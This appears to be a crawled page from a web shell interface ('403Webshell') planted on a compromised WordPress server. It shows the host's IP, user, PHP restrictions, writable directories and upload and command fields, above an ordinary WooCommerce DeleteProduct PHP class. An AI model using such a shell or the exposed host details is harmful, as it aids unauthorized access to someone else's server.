403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/mimradmin/www/wp-content/plugins/woocommerce/src/Api/Mutations/Products/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/mimradmin/www/wp-content/plugins/woocommerce/src/Api/Mutations/Products/DeleteProduct.php
<?php

declare(strict_types=1);

namespace Automattic\WooCommerce\Api\Mutations\Products;

use Automattic\WooCommerce\Api\ApiException;
use Automattic\WooCommerce\Api\Attributes\Description;
use Automattic\WooCommerce\Api\Attributes\RequiredCapability;

/**
 * Mutation to delete a product.
 *
 * Demonstrates: mutation returning bool.
 */
#[Description( 'Delete a product.' )]
#[RequiredCapability( 'manage_woocommerce' )]
class DeleteProduct {
	/**
	 * Execute the mutation.
	 *
	 * @param int  $id    The product ID.
	 * @param bool $force Whether to permanently delete (bypass trash).
	 * @return bool Whether the product was deleted.
	 * @throws ApiException When the product is not found.
	 */
	public function execute(
		#[Description( 'The ID of the product to delete.' )]
		int $id,
		#[Description( 'Whether to permanently delete the product (bypass trash).' )]
		bool $force = false,
	): bool {
		$wc_product = wc_get_product( $id );

		if ( ! $wc_product instanceof \WC_Product ) {
			throw new ApiException( 'Product not found.', 'NOT_FOUND', status_code: 404 );
		}

		// Capture the raw return value. A `(bool)` cast would coerce
		// filter-originated `WP_Error` objects to `true`, reporting failure
		// as success; we need to detect that case explicitly and surface
		// the underlying error instead.
		$deleted = $wc_product->delete( $force );

		// phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Not HTML; serialized as JSON.
		if ( $deleted instanceof \WP_Error ) {
			throw new ApiException(
				$deleted->get_error_message(),
				'INTERNAL_ERROR',
				status_code: 500,
			);
		}
		// phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped

		return true === $deleted;
	}
}

Youez - 2016 - github.com/yon3zu